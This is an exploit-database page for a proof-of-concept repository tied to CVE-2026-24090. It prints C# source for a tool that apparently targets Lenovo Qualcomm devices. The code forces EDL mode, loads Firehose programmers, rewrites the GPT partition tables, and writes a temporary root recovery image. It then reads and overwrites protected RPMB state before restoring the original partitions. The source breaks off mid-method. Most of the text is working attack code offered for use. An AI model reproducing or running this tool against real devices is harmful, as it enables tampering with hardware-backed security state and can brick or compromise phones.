Exploit database

GH-4dc2ea66f5461a87c81c9db9a3ee0c27

wnduddld0513/lenovo-qcom-rpmb-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-24090

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/LenovoQcomRPMBTool/Workflow/AutomaticWorkflow.cs

C# · 75,957 bytes
using LenovoQcomRPMBTool.Core;
using LenovoQcomRPMBTool.Runner;
using System.Text.Json;

namespace LenovoQcomRPMBTool.Workflow;

public sealed class AutomaticWorkflow
{
    public static readonly string[] Stages =
    {
        "CheckCapabilities", "EnterEdl", "InstallDriver", "ReadLiveGpt", "BackupRecovery",
        "InspectFirmware", "ConfirmDeviceLoader",
        "DiscoverRecoveryBoot",
        "DeriveGptImages", "WriteGptBackup", "WriteGptPrimary",
        "VerifyGptReadback", "WriteTemporaryRoot", "PrepareRecoveryBoot", "ResetToRecovery",
        "RunProbe", "PullBaseline", "PendingEdit",
        "ApplyStateImage", "PullResults", "ReenterEdl",
        "PatchRegionImages",
        "RestoreGptBackup", "RestoreGptPrimary", "RestoreTemporaryRoot", "RestoreRecoveryBoot",
        "VerifyRestore", "Reset", "CleanupDriver"
    };

    public const string TrustedAospKeySha1 = "2597c218aae470a130f61162feaae70afd97f011";

    private readonly IProcessRunner _runner;
    private readonly string _appRoot;
    private readonly Profile _profile;
    private readonly DriverManager _drivers;
    private readonly string? _targetStateImage;
    private readonly bool _pauseAfterRead;
    private string? _sessionWorkingDirectory;
    private byte[]? _simPrimary;
    private byte[]? _simBackup;
    private DeviceAssetPackage? _selectedPackage;
    private DeviceAssetPackage? _workingLoaderPackage;
    private string? _workingLoaderPath;
    private int? _workingLun;
    private RecoveryBootTargetInfo? _recoveryBootTarget;

    public bool RecoveryRequired { get; private set; }

    public AutomaticWorkflow(
        IProcessRunner runner,
        string appRoot,
        Profile profile,
        string? targetStateImage = null,
        bool pauseAfterRead = false)
    {
        _runner = runner;
        _appRoot = appRoot;
        _profile = profile;
        _drivers = new DriverManager(runner, appRoot, profile);
        _targetStateImage = string.IsNullOrWhiteSpace(targetStateImage) ? null : targetStateImage;
        _pauseAfterRead = pauseAfterRead;
    }

    public async Task RunAsync(
        Journal journal,
        IReadOnlyDictionary<string, byte[]>? simulatedGpt = null,
        WorkflowProgress? progress = null,
        CancellationToken ct = default)
    {
        try
        {
            _sessionWorkingDirectory = journal.SessionDir;
            if (_runner.IsSimulation)
            {
                _simPrimary = simulatedGpt?.TryGetValue("primary", out var primary) == true
                    ? (byte[])primary.Clone()
                    : TestGptFactory.Capture(false, "vbmeta_a", 4096);
                _simBackup = simulatedGpt?.TryGetValue("backup", out var backup) == true
                    ? (byte[])backup.Clone()
                    : TestGptFactory.Capture(true, "vbmeta_a", 4096);
            }

            Start(journal, progress, "CheckCapabilities");
            CapabilityResult capabilities = CapabilityChecker.Check(_appRoot, _profile);
            if (!capabilities.Ok && !_runner.IsSimulation)
                throw new InvalidOperationException("Missing capabilities: " + string.Join("; ", capabilities.Missing));
            Done(journal, progress, "CheckCapabilities");

            Start(journal, progress, "EnterEdl");
            await EnsureEdlAsync(progress, ct);
            Done(journal, progress, "EnterEdl");

            Start(journal, progress, "InstallDriver");
            await _drivers.EnsureWinUsbAsync(journal, ct);
            await EnsureEdlAsync(progress, ct);
            Done(journal, progress, "InstallDriver");

            Start(journal, progress, "ReadLiveGpt");
            byte[] primaryProbe = await ReadPrimaryProbeAsync(journal, progress, ct);
            byte[] primaryOriginal = Gpt.ExactPrimaryCapture(primaryProbe);
            Gpt.PrimaryGeometry primaryGeometry = Gpt.GeometryFromPrimary(primaryOriginal);
            byte[] backupHeader = await ReadBackupHeaderAsync(journal, primaryGeometry, ct);
            Gpt.Geometry geometry = Gpt.GeometryFromBackupHeader(primaryGeometry, backupHeader);
            byte[] backupOriginal = await ReadBackupAsync(journal, geometry, ct, knownHeader: backupHeader);
            Gpt.ValidateLive(primaryOriginal, backupOriginal);
            string primaryOriginalPath = Save(journal, "gpt-primary-original.bin", primaryOriginal);
            string backupOriginalPath = Save(journal, "gpt-backup-original.bin", backupOriginal);
            Done(journal, progress, "ReadLiveGpt",
                $"sector={geometry.SectorSize}, primary={geometry.PrimaryCaptureSectors}, backup={geometry.BackupCaptureSectors}");

            Start(journal, progress, "BackupRecovery");
            var table = Gpt.Parse(primaryOriginal, backup: false);
            IReadOnlyList<RecoveryPartition.Target> recoveryTargets = RecoveryPartition.FindRecoveryPartitions(table);
            // Every recovery partition is captured and hashed before anything is written:
            // the temporary root image is written to all of them through EDL, so all of them
            // must be restorable afterwards.
            foreach (RecoveryPartition.Target recTarget in recoveryTargets)
            {
                string recPath = RecoveryPartition.BackupPath(journal.SessionDir, recTarget.PartitionName);
                await ReadPartitionAsync(recTarget, recPath, ct);
                if (_runner.IsSimulation) continue;
                byte[] recImage = File.ReadAllBytes(recPath);
                File.WriteAllText(recPath + ".sha256", RecoveryPartition.HashSha256(recImage));
            }
            Done(journal, progress, "BackupRecovery",
                $"{recoveryTargets.Count} recovery partition(s) captured and hashed");

            Start(journal, progress, "InspectFirmware");
            _selectedPackage = await InspectFirmwareAndSelectPackageAsync(journal, progress, table, recoveryTargets, ct);
            Done(journal, progress, "InspectFirmware",
                $"model={_selectedPackage.Model}, key={TrustedAospKeySha1}");

            Start(journal, progress, "ConfirmDeviceLoader");
            await ConfirmSelectedLoaderAsync(journal, progress, primaryOriginal, ct);
            Done(journal, progress, "ConfirmDeviceLoader", _selectedPackage.Model);

            Start(journal, progress, "DiscoverRecoveryBoot");
            await DiscoverRecoveryBootAsync(journal, progress, ct);
            Done(journal, progress, "DiscoverRecoveryBoot");

            Start(journal, progress, "DeriveGptImages");
            var renames = _profile.PartitionRenameRules.Select(r => (r.From, r.To)).ToArray();
            byte[] primaryTemporary = Gpt.DeriveByRename(primaryOriginal, backup: false, renames);
            byte[] backupTemporary = Gpt.DeriveByRename(backupOriginal, backup: true, renames);
            string primaryTemporaryPath = Save(journal, "gpt-primary-temporary.bin", primaryTemporary);
            string backupTemporaryPath = Save(journal, "gpt-backup-temporary.bin", backupTemporary);
            Done(journal, progress, "DeriveGptImages");

            Start(journal, progress, "WriteGptBackup");
            journal.Append(
                "WriteGptBackup",
                "write-started",
                $"backup GPT at LBA {geometry.BackupEntryLba}");
            await WriteBackupAsync(geometry, backupTemporaryPath, backupTemporary, ct);
            Done(journal, progress, "WriteGptBackup");
            Start(journal, progress, "WriteGptPrimary");
            journal.Append("WriteGptPrimary", "write-started", "primary GPT at LBA 0");
            await WriteSectorsAsync(0, primaryTemporaryPath, primaryTemporary, backup: false, ct);
            Done(journal, progress, "WriteGptPrimary");

            Start(journal, progress, "VerifyGptReadback");
            byte[] primaryReadback = await ReadPrimaryExactAsync(journal, geometry, "gpt-primary-temporary-readback.bin", ct);
            byte[] backupReadback = await ReadBackupAsync(journal, geometry, ct, "gpt-backup-temporary-readback.bin");
            VerifyExact(primaryTemporary, primaryReadback, "Primary temporary GPT");
            VerifyExact(backupTemporary, backupReadback, "Backup temporary GPT");
            Done(journal, progress, "VerifyGptReadback");

            Start(journal, progress, "WriteTemporaryRoot");
            await WriteTemporaryRootAsync(journal, progress, table, ct);
            Done(journal, progress, "WriteTemporaryRoot");

            Start(journal, progress, "PrepareRecoveryBoot");
            await PrepareRecoveryBootAsync(journal, progress, ct);
            Done(journal, progress, "PrepareRecoveryBoot");

            Start(journal, progress, "ResetToRecovery");
            progress?.AppendLog("[info] Resetting directly from EDL into the temporary root recovery environment...");
            await EdlAsync(new[] { "reset" }, ct);
            Done(journal, progress, "ResetToRecovery");

            Start(journal, progress, "RunProbe");
            await RunProbeAsync(journal, ct);
            Done(journal, progress, "RunProbe");

            Start(journal, progress, "PullBaseline");
            await PullBaselineAsync(journal, ct);
            Done(journal, progress, "PullBaseline");

            if (_pauseAfterRead)
            {
                Start(journal, progress, "PendingEdit");
                Done(journal, progress, "PendingEdit", "state-baseline.bin is ready for editing");
                RecoveryRequired = true;
                return;
            }

            Start(journal, progress, "ApplyStateImage");
            await ApplyStateImageAsync(journal, _targetStateImage, ct);
            Done(journal, progress, "ApplyStateImage", _targetStateImage == null ? "dump-only" : "candidate applied and independently verified");
            Start(journal, progress, "PullResults");
            await PullResultFilesAsync(journal, ct);
            if (_targetStateImage != null)
                VerifyExact(
                    File.ReadAllBytes(_targetStateImage),
                    File.ReadAllBytes(Path.Combine(journal.SessionDir, "state-verify.bin")),
                    "RPMB state");
            Done(journal, progress, "PullResults");
            await RestoreAndCleanupAsync(
                journal, progress, geometry,
                primaryOriginalPath, primaryOriginal,
                backupOriginalPath, backupOriginal, ct);
        }
        catch (Exception exception)
        {
            RecordFailure(journal, progress, exception);
            throw;
        }
    }

    public async Task ApplyPendingAsync(
        Journal journal,
        string candidatePath,
        WorkflowProgress? progress = null,
        CancellationToken ct = default)
    {
        try
        {
            _sessionWorkingDirectory = journal.SessionDir;
            if (!journal.HasCompleted("PendingEdit"))
                throw new InvalidOperationException("This session is not waiting for an RPMB edit.");
            LoadSelectedPackageFromJournal(journal);
            var pending = LoadPendingGeometry(journal);
            bool changed = ValidateCandidate(journal, candidatePath);

            Start(journal, progress, "ApplyStateImage");
            if (changed)
                await ApplyStateImageAsync(journal, candidatePath, ct);
            else
                progress?.AppendLog(
                    "[info] Candidate matches the baseline; skipping the RPMB write and continuing recovery.");
            Done(
                journal, progress, "ApplyStateImage",
                changed
                    ? "candidate applied and independently verified"
                    : "candidate unchanged; RPMB write skipped");
            Start(journal, progress, "PullResults");
            if (changed)
            {
                await PullResultFilesAsync(journal, ct);
                VerifyExact(
                    File.ReadAllBytes(candidatePath),
                    File.ReadAllBytes(Path.Combine(journal.SessionDir, "state-verify.bin")),
                    "RPMB state");
            }
            Done(
                journal, progress, "PullResults",
                changed ? "" : "skipped for unchanged candidate");
            await RestoreAndCleanupAsync(
                journal, progress, pending.Geometry,
                pending.PrimaryPath, pending.Primary,
                pending.BackupPath, pending.Backup, ct);
            RecoveryRequired = false;
        }
        catch (Exception exception)
        {
            RecordFailure(journal, progress, exception);
            throw;
        }
    }

    public async Task RestorePendingAsync(
        Journal journal,
        WorkflowProgress? progress = null,
        CancellationToken ct = default)
    {
        try
        {
            _sessionWorkingDirectory = journal.SessionDir;
            LoadSelectedPackageFromJournal(journal);
            var pending = LoadPendingGeometry(journal);
            await RestoreAndCleanupAsync(
                journal, progress, pending.Geometry,
                pending.PrimaryPath, pending.Primary,
                pending.BackupPath, pending.Backup, ct);
            RecoveryRequired = false;
        }
        catch (Exception exception)
        {
            RecordFailure(journal, progress, exception);
            throw;
        }
    }

    private (Gpt.Geometry Geometry, string PrimaryPath, byte[] Primary, string BackupPath, byte[] Backup)
        LoadPendingGeometry(Journal journal)
    {
        string primaryPath = Path.Combine(journal.SessionDir, "gpt-primary-original.bin");
        string backupPath = Path.Combine(journal.SessionDir, "gpt-backup-original.bin");
        if (!File.Exists(primaryPath) || !File.Exists(backupPath))
            throw new FileNotFoundException("The session does not contain complete original GPT backups.");
        byte[] primary = File.ReadAllBytes(primaryPath);
        byte[] backup = File.ReadAllBytes(backupPath);
        Gpt.ValidateLive(primary, backup);
        Gpt.PrimaryGeometry primaryGeometry = Gpt.GeometryFromPrimary(primary);
        byte[] backupHeader = backup.AsSpan(backup.Length - primaryGeometry.SectorSize, primaryGeometry.SectorSize).ToArray();
        Gpt.Geometry geometry = Gpt.GeometryFromBackupHeader(primaryGeometry, backupHeader);
        return (geometry, primaryPath, primary, backupPath, backup);
    }

    private bool ValidateCandidate(Journal journal, string candidatePath)
    {
        string baselinePath = Path.Combine(journal.SessionDir, "state-baseline.bin");
        if (!File.Exists(baselinePath))
            throw new FileNotFoundException("The session RPMB baseline is missing.", baselinePath);
        if (!File.Exists(candidatePath))
            throw new FileNotFoundException("Save changes in Edit RPMB Partition first.", candidatePath);
        byte[] baseline = File.ReadAllBytes(baselinePath);
        byte[] candidate = File.ReadAllBytes(candidatePath);
        StateImage.ValidateBuffer(baseline);
        StateImage.ValidateBuffer(candidate);
        if (baseline.Length != candidate.Length)
            throw new InvalidDataException(
                "RPMB baseline and candidate must have the same runtime-discovered size.");
        RuntimeStateLayout.ValidateCandidate(
            candidate, LoadRuntimeStateLayout(journal));
        return !baseline.SequenceEqual(candidate);
    }

    private async Task RestoreAndCleanupAsync(
        Journal journal,
        WorkflowProgress? progress,
        Gpt.Geometry geometry,
        string primaryOriginalPath,
        byte[] primaryOriginal,
        string backupOriginalPath,
        byte[] backupOriginal,
        CancellationToken ct)
    {
        Start(journal, progress, "ReenterEdl");
        await EnsureEdlAsync(progress, ct);
        await _drivers.EnsureWinUsbAsync(journal, ct);
        await EnsureEdlAsync(progress, ct);
        Done(journal, progress, "ReenterEdl");

        Start(journal, progress, "PatchRegionImages");
        await PatchRegionImagesAsync(journal, progress, primaryOriginal, ct);
        Done(journal, progress, "PatchRegionImages");

        Start(journal, progress, "RestoreGptBackup");
        await WriteBackupAsync(geometry, backupOriginalPath, backupOriginal, ct);
        Done(journal, progress, "RestoreGptBackup");
        Start(journal, progress, "RestoreGptPrimary");
        await WriteSectorsAsync(0, primaryOriginalPath, primaryOriginal, backup: false, ct);
        Done(journal, progress, "RestoreGptPrimary");

        Start(journal, progress, "RestoreTemporaryRoot");
        await RestoreTemporaryRootAsync(journal, progress, primaryOriginal, ct);
        Done(journal, progress, "RestoreTemporaryRoot");

        Start(journal, progress, "RestoreRecoveryBoot");
        await RestoreRecoveryBootAsync(journal, progress, ct);
        Done(journal, progress, "RestoreRecoveryBoot");

        Start(journal, progress, "VerifyRestore");
        byte[] restoredPrimary = await ReadPrimaryExactAsync(journal, geometry, "gpt-primary-restored-readback.bin", ct);
        byte[] restoredBackup = await ReadBackupAsync(journal, geometry, ct, "gpt-backup-restored-readback.bin");
        VerifyExact(primaryOriginal, restoredPrimary, "Primary restored GPT");
        VerifyExact(backupOriginal, restoredBackup, "Backup restored GPT");
        Done(journal, progress, "VerifyRestore");

        Start(journal, progress, "Reset");
        await EdlAsync(new[] { "reset" }, ct);
        Done(journal, progress, "Reset");
        Start(journal, progress, "CleanupDriver");
        await _drivers.RemoveLibwdiPackageAsync(journal, ct);
        Done(journal, progress, "CleanupDriver");
    }

    private void RecordFailure(Journal journal, WorkflowProgress? progress, Exception exception)
    {
        journal.Append("Workflow", "failed", exception.Message);
        progress?.AppendStderr(exception.Message);
        if (journal.Entries.Any(entry =>
                entry.Stage is "WriteGptBackup" or "WriteGptPrimary" or
                    "WriteTemporaryRoot" or "PrepareRecoveryBoot" or "PatchRegionImages" &&
                entry.Status is "write-started" or "done" or "verified") &&
            !journal.HasCompleted("VerifyRestore"))
        {
            RecoveryRequired = true;
            journal.Append("Recovery", "required",
                "A GPT, recovery, misc BCB, vendor_boot, or vbmeta write may be incomplete. " +
                "Use Recovery after the device is back in EDL; the UI restores the native driver on exit.");
        }
    }

    public string ResumePoint(Journal journal)
        => Stages.FirstOrDefault(stage => !journal.HasCompleted(stage)) ?? "Complete";

    private static void Start(Journal journal, WorkflowProgress? progress, string stage)
    {
        if (ConsoleControl.ExitRequested)
            throw new OperationCanceledException("Exit requested after the previous operation boundary.");
        journal.Append(stage, "started");
        progress?.StartStage(stage);
    }

    private static void Done(Journal journal, WorkflowProgress? progress, string stage, string detail = "")
    {
        journal.Append(stage, "done", detail);
        progress?.CompleteStage(stage);
    }

    private string Tool(string name)
    {
        string file = Path.Combine(_profile.Resolve(_appRoot, _profile.Assets.PlatformToolsDir), name + ".exe");
        return File.Exists(file) || !_runner.IsSimulation ? file : name;
    }

    private string LoaderPath()
    {
        if (_runner.IsSimulation) return "assets/device/simulated.melf";
        if (_workingLoaderPath != null && File.Exists(_workingLoaderPath))
            return _workingLoaderPath;
        if (_selectedPackage != null && File.Exists(_selectedPackage.LoaderPath))
            return _selectedPackage.LoaderPath;
        throw new InvalidOperationException(
            "No Firehose loader has passed the read-only GPT probe for this session.");
    }

    private async Task<ProcessResult> EdlAsync(
        IEnumerable<string> command,
        CancellationToken ct,
        string? loaderOverride = null,
        int? lunOverride = null)
    {
        string python = DependencyManager.FindSystemPython()
            ?? throw new InvalidOperationException($"Python 3.10 or newer was not found. Download it from {DependencyManager.DownloadUrl}");
        string edl = Path.Combine(_profile.Resolve(_appRoot, _profile.Assets.EdlClientDir), "edl.py");
        var commandArguments = command.ToList();
        var arguments = new List<string> { "-X", "utf8", edl };
        arguments.AddRange(commandArguments);
        if (!commandArguments[0].Equals("reset", StringComparison.OrdinalIgnoreCase))
        {
            arguments.Add($"--lun={lunOverride ?? _workingLun ?? _profile.Storage.Lun}");
            arguments.Add($"--memory={_profile.Storage.Memory}");
        }
        arguments.Add($"--loader={loaderOverride ?? LoaderPath()}");
        ProcessResult result = await _runner.RunAsync(
            _runner.IsSimulation ? "edl.py" : python, arguments,
            _sessionWorkingDirectory ?? _appRoot, ct);
        RequireSuccess(result, "edl.py " + string.Join(" ", commandArguments));
        return result;
    }

    private async Task EnsureEdlAsync(
        WorkflowProgress? progress, CancellationToken ct)
    {
        if (await _drivers.IsEdlDevicePresentAsync(ct))
        {
            progress?.AppendLog(
                "[info] Qualcomm EDL 9008 is already present; skipping adb reboot edl.");
            return;
        }
        if (_runner.IsSimulation)
        {
            ProcessResult simulated = await _runner.RunAsync(
                Tool("adb"), new[] { "-s", "SIMULATED", "reboot", "edl" }, _appRoot, ct);
            RequireSuccess(simulated, "adb reboot edl");
            return;
        }

        DateTimeOffset deadline = DateTimeOffset.UtcNow.AddSeconds(60);
        var unavailable = new List<string>();
        while (DateTimeOffset.UtcNow < deadline)
        {
            if (await _drivers.IsEdlDevicePresentAsync(ct)) return;
            ProcessResult devices = await _runner.RunAsync(Tool("adb"), new[] { "devices" }, _appRoot, ct);
            RequireSuccess(devices, "adb devices");
            var authorized = new List<string>();
            unavailable.Clear();
            foreach (string raw in devices.StandardOutput.Replace("\r", "").Split('\n'))
            {
                string line = raw.Trim();
                if (line.Length == 0 || line.StartsWith("List of devices attached", StringComparison.OrdinalIgnoreCase) ||
                    line.StartsWith("* daemon", StringComparison.OrdinalIgnoreCase))
                    continue;
                string[] fields = line.Split((char[]?)null, StringSplitOptions.RemoveEmptyEntries);
                if (fields.Length < 2) continue;
                if (IsAdbRebootCapableState(fields[1]))
                    authorized.Add(fields[0]);
                else
                    unavailable.Add($"{fields[0]} ({fields[1]})");
            }
            if (authorized.Count > 1)
                throw new InvalidOperationException(
                    $"Multiple authorized ADB devices are connected ({authorized.Count}); disconnect all but the target.");
            if (authorized.Count == 1)
            {
                ProcessResult reboot = await _runner.RunAsync(
                    Tool("adb"), new[] { "-s", authorized[0], "reboot", "edl" }, _appRoot, ct);
                RequireSuccess(reboot, "adb reboot edl");
                await _drivers.WaitForEdlDeviceAsync(TimeSpan.FromSeconds(45), ct);
                return;
            }
            await Task.Delay(1000, ct);
        }

        string detail = unavailable.Count == 0 ? "" : " Unavailable: " + string.Join(", ", unavailable) + ".";
        throw new InvalidOperationException(
            "No single reboot-capable ADB device became available within 60 seconds." +
            detail);
    }

    public static bool IsAdbRebootCapableState(string state)
        => state.Equals("device", StringComparison.OrdinalIgnoreCase) ||
           state.Equals("recovery", StringComparison.OrdinalIgnoreCase);

    private async Task<byte[]> ReadPrimaryProbeAsync(
        Journal journal, WorkflowProgress? progress, CancellationToken ct)
    {
        if (_runner.IsSimulation) return (byte[])_simPrimary!.Clone();

        DeviceAssetDiscovery discovery = DeviceAssetCatalog.Discover(_appRoot);
        if (discovery.Packages.Count == 0)
            throw new InvalidOperationException(DeviceAssetCatalog.NoValidPackageMessage);

        string path = Path.Combine(journal.SessionDir, "gpt-primary-probe.bin");
        var failures = new List<string>();
        IReadOnlyList<int> candidateLuns = StorageInventory.CandidateLuns(
            _profile.Storage.Memory);
        int[] orderedLuns = candidateLuns
            .OrderBy(lun => lun == _profile.Storage.Lun ? 0 : 1)
            .ThenBy(lun => lun)
            .ToArray();
        foreach (DeviceAssetPackage package in discovery.Packages)
        {
            foreach (int lun in orderedLuns)
            {
                ct.ThrowIfCancellationRequested();
                if (File.Exists(path)) File.Delete(path);
                progress?.AppendLog(
                    $"[info] Trying the {package.Model} Firehose loader on LUN {lun} with a read-only GPT probe...");
                try
                {
                    await EdlAsync(
                        new[] { "rs", "0", _profile.Storage.PrimaryProbeSectors.ToString(), path },
                        ct, package.LoaderPath, lun);
                    byte[] probe = File.ReadAllBytes(path);
                    Gpt.TableInfo table = Gpt.Parse(probe, backup: false);
                    if (!table.HeaderCrcValid || !table.PartCrcValid)
                        throw new InvalidDataException("Primary GPT CRC validation failed.");
                    if (RecoveryPartition.FindRecoveryPartitions(table).Count == 0)
                        throw new InvalidDataException(
                            "The GPT does not contain a supported recovery partition.");
                    _workingLoaderPackage = package;
                    _workingLoaderPath = package.LoaderPath;
                    _workingLun = lun;
                    journal.Append("ReadLiveGpt", "loader",
                        $"{package.Model} lun={lun} read-only probe passed");
                    progress?.AppendLog(
                        $"[info] The {package.Model} Firehose loader passed the read-only GPT probe on LUN {lun}.");
                    return probe;
                }
                catch (OperationCanceledException)
                {
                    throw;
                }
                catch (Exception exception)
                {
                    failures.Add($"{package.Model}/LUN{lun}: {exception.Message}");
                    progress?.AppendLog(
                        $"[warning] The {package.Model} Firehose loader did not pass the LUN {lun} read-only probe: {exception.Message}");
                }
            }
        }

        throw new InvalidOperationException(
            "No packaged Firehose loader could read and validate a GPT containing recovery. " +
            string.Join(" | ", failures));
    }

    private async Task DiscoverRecoveryBootAsync(
        Journal journal, WorkflowProgress? progress, CancellationToken ct)
    {
        if (_runner.IsSimulation)
        {
            await _runner.RunAsync(
                "edl.py", new[] { "discover-recovery-boot" }, _appRoot, ct);
            return;
        }

        var captures = new Dictionary<int, byte[]>();
        foreach (int lun in StorageInventory.CandidateLuns(_profile.Storage.Memory))
        {
            ct.ThrowIfCancellationRequested();
            string path = Path.Combine(journal.SessionDir, $"gpt-lun{lun}-primary-probe.bin");
            if (File.Exists(path)) File.Delete(path);
            try
            {
                progress?.AppendLog($"[info] Scanning LUN {lun} for a CRC-valid GPT and misc partition...");
                await EdlAsync(
                    new[] { "rs", "0", _profile.Storage.PrimaryProbeSectors.ToString(), path },
                    ct, lunOverride: lun);
                captures[lun] = File.ReadAllBytes(path);
            }
            catch (OperationCanceledException)
            {
                throw;
            }
            catch (Exception exception)
            {
                progress?.AppendLog(
                    $"[info] LUN {lun} is not an accessible CRC-valid GPT target: {exception.Message}");
            }
        }

        PartitionTarget resolved = StorageInventory.Build(captures).Resolve("misc");
        if (resolved.Entry.LastLba < resolved.Entry.FirstLba)
            throw new InvalidDataException("The discovered misc partition has an invalid LBA range.");
        int sectorCount = RecoveryBootRequest.RequiredSectorCount(resolved.SectorSize);
        ulong partitionSectors = resolved.Entry.LastLba - resolved.Entry.FirstLba + 1;
        if ((ulong)sectorCount > partitionSectors)
            throw new InvalidDataException(
                "The discovered misc partition is too small for the Android bootloader message.");

        _recoveryBootTarget = new RecoveryBootTargetInfo(
            resolved.Lun,
            resolved.SectorSize,
            resolved.Entry.Name,
            resolved.Entry.FirstLba,
            resolved.Entry.LastLba);
        File.WriteAllText(
            Path.Combine(journal.SessionDir, "recovery-boot-target.json"),
            JsonSerializer.Serialize(_recoveryBootTarget));

        string originalPath = Path.Combine(journal.SessionDir, "misc-bcb-original.bin");
        await EdlAsync(new[]
        {
            "rs", resolved.Entry.FirstLba.ToString(), sectorCount.ToString(), originalPath
        }, ct, lunOverride: resolved.Lun);
        byte[] original = File.ReadAllBytes(originalPath);
        int expectedBytes = checked(sectorCount * resolved.SectorSize);
        if (original.Length != expectedBytes)
            throw new InvalidDataException(
                $"The misc BCB read returned {original.Length} bytes; expected {expectedBytes}.");
        File.WriteAllText(
            originalPath + ".sha256", RecoveryPartition.HashSha256(original));
        journal.Append(
            "DiscoverRecoveryBoot",
            "verified",
            $"{resolved.Entry.Name} lun={resolved.Lun} lba={resolved.Entry.FirstLba} sectors={sectorCount}");
    }

    private async Task ConfirmSelectedLoaderAsync(
        Journal journal,
        WorkflowProgress? progress,
        byte[] primaryOriginal,
        CancellationToken ct)
    {
        if (_runner.IsSimulation) return;
        DeviceAssetPackage selected = _selectedPackage
            ?? throw new InvalidOperationException("No AVB-matched device package was selected.");
        if (_workingLoaderPath == null || _workingLoaderPackage == null)
            throw new InvalidOperationException("No Firehose loader passed the initial read-only probe.");

        if (Path.GetFullPath(_workingLoaderPath).Equals(
                Path.GetFullPath(selected.LoaderPath), StringComparison.OrdinalIgnoreCase))
        {
            _workingLoaderPackage = selected;
            journal.Append("ConfirmDeviceLoader", "verified",
                $"{selected.Model} loader already active");
            return;
        }

        progress?.AppendLog(
            $"[info] AVB identified {selected.Model}; switching from the provisional " +
            $"{_workingLoaderPackage.Model} loader before any write.");
        await EdlAsync(new[] { "reset", "--resetmode=edl" }, ct);
        await _drivers.WaitForEdlDeviceAsync(TimeSpan.FromSeconds(45), ct);
        await _drivers.EnsureWinUsbAsync(journal, ct);
        _workingLoaderPath = selected.LoaderPath;
        _workingLoaderPackage = selected;

        string path = Path.Combine(journal.SessionDir, "gpt-primary-selected-loader-readback.bin");
        await EdlAsync(
            new[] { "rs", "0", _profile.Storage.PrimaryProbeSectors.ToString(), path }, ct);
        byte[] selectedProbe = File.ReadAllBytes(path);
        byte[] selectedExact = Gpt.ExactPrimaryCapture(selectedProbe);
        VerifyExact(primaryOriginal, selectedExact, $"{selected.Model} loader GPT probe");
        journal.Append("ConfirmDeviceLoader", "verified",
            $"{selected.Model} loader selected after AVB model detection");
    }

    private void LoadSelectedPackageFromJournal(Journal journal)
    {
        if (_workingLun == null)
        {
            JournalEntry? loaderEntry = journal.Entries.LastOrDefault(entry =>
                entry.Stage == "ReadLiveGpt" && entry.Status == "loader");
            string? lunToken = loaderEntry?.Detail
                .Split(' ', StringSplitOptions.RemoveEmptyEntries)
                .FirstOrDefault(token => token.StartsWith("lun=", StringComparison.Ordinal));
            int workingLun = lunToken != null &&
                             int.TryParse(lunToken.AsSpan(4), out int parsedLun)
                ? parsedLun
                : _profile.Storage.Lun;
            if (!StorageInventory.CandidateLuns(_profile.Storage.Memory).Contains(workingLun))
                throw new InvalidDataException(
                    $"The journal working LUN {workingLun} is outside the runtime storage inventory.");
            _workingLun = workingLun;
        }

        if (_selectedPackage != null)
        {
            _workingLoaderPackage = _selectedPackage;
            _workingLoaderPath = _selectedPackage.LoaderPath;
            return;
        }

        JournalEntry? selectedEntry = journal.Entries.LastOrDefault(entry =>
            entry.Stage == "InspectFirmware" && entry.Status == "selected");
        string model = selectedEntry?.Detail.Split(' ', StringSplitOptions.RemoveEmptyEntries)
            .FirstOrDefault() ?? "";
        DeviceAssetPackage? package = DeviceAssetCatalog.Discover(_appRoot).Packages
            .SingleOrDefault(candidate => candidate.Model.Equals(model, StringComparison.Ordinal));
        if (package == null)
            throw new InvalidOperationException(
                "The session does not identify an installed device package for EDL restoration.");
        _selectedPackage = package;
        _workingLoaderPackage = package;
        _workingLoaderPath = package.LoaderPath;
    }

    private RecoveryBootTargetInfo LoadRecoveryBootTarget(Journal journal)
    {
        if (_recoveryBootTarget != null) return _recoveryBootTarget;
        string path = Path.Combine(journal.SessionDir, "recovery-boot-target.json");
        if (!File.Exists(path))
            throw new FileNotFoundException(
                "The session does not contain a discovered recovery-boot target.", path);
        RecoveryBootTargetInfo target = JsonSerializer.Deserialize<RecoveryBootTargetInfo>(
            File.ReadAllText(path))
            ?? throw new InvalidDataException("The recovery-boot target metadata is empty.");
        if (!StorageInventory.CandidateLuns(_profile.Storage.Memory).Contains(target.Lun))
            throw new InvalidDataException(
                $"The recovery-boot target LUN {target.Lun} is outside the runtime storage inventory.");
        if (!target.PartitionName.Equals("misc", StringComparison.OrdinalIgnoreCase) ||
            target.FirstLba > target.LastLba)
            throw new InvalidDataException("The recovery-boot target metadata is invalid.");

        string gptPath = Path.Combine(
            journal.SessionDir, $"gpt-lun{target.Lun}-primary-probe.bin");
        if (!File.Exists(gptPath))
            throw new FileNotFoundException(
                "The session does not contain the GPT capture for the recovery-boot target.",
                gptPath);
        PartitionTarget verified = StorageInventory.Build(
            new Dictionary<int, byte[]> { [target.Lun] = File.ReadAllBytes(gptPath) })
            .Resolve("misc");
        if (verified.SectorSize != target.SectorSize ||
            verified.Entry.FirstLba != target.FirstLba ||
            verified.Entry.LastLba != target.LastLba)
            throw new InvalidDataException(
                "The recovery-boot target metadata does not match its CRC-valid GPT capture.");
        _recoveryBootTarget = target;
        return target;
    }

    private RuntimeStateLayoutAnalysis LoadRuntimeStateLayout(Journal journal)
    {
        string path = Path.Combine(journal.SessionDir, "runtime-state-layout.json");
        if (!File.Exists(path))
            throw new FileNotFoundException(
                "The session does not contain runtime state-layout evidence.", path);
        RuntimeStateLayoutAnalysis layout =
            JsonSerializer.Deserialize<RuntimeStateLayoutAnalysis>(
                File.ReadAllText(path))
            ?? throw new InvalidDataException(
                "The runtime state-layout evidence is empty.");
        string baselinePath = Path.Combine(journal.SessionDir, "state-baseline.bin");
        if (!File.Exists(baselinePath))
            throw new FileNotFoundException(
                "The session state baseline is missing.", baselinePath);
        string secondPath = Path.Combine(
            journal.SessionDir, "state-baseline-second.bin");
        if (!File.Exists(secondPath))
            throw new FileNotFoundException(
                "The session second state snapshot is missing.", secondPath);
        byte[] baseline = File.ReadAllBytes(baselinePath);
        byte[] second = File.ReadAllBytes(secondPath);
        StateImage.ValidateBuffer(baseline);
        StateImage.ValidateBuffer(second);
        RuntimeStateLayoutAnalysis verified = RuntimeStateLayout.Analyze(
            baseline, second, FirmwareRegionFromJournal(journal));
        if (layout != verified)
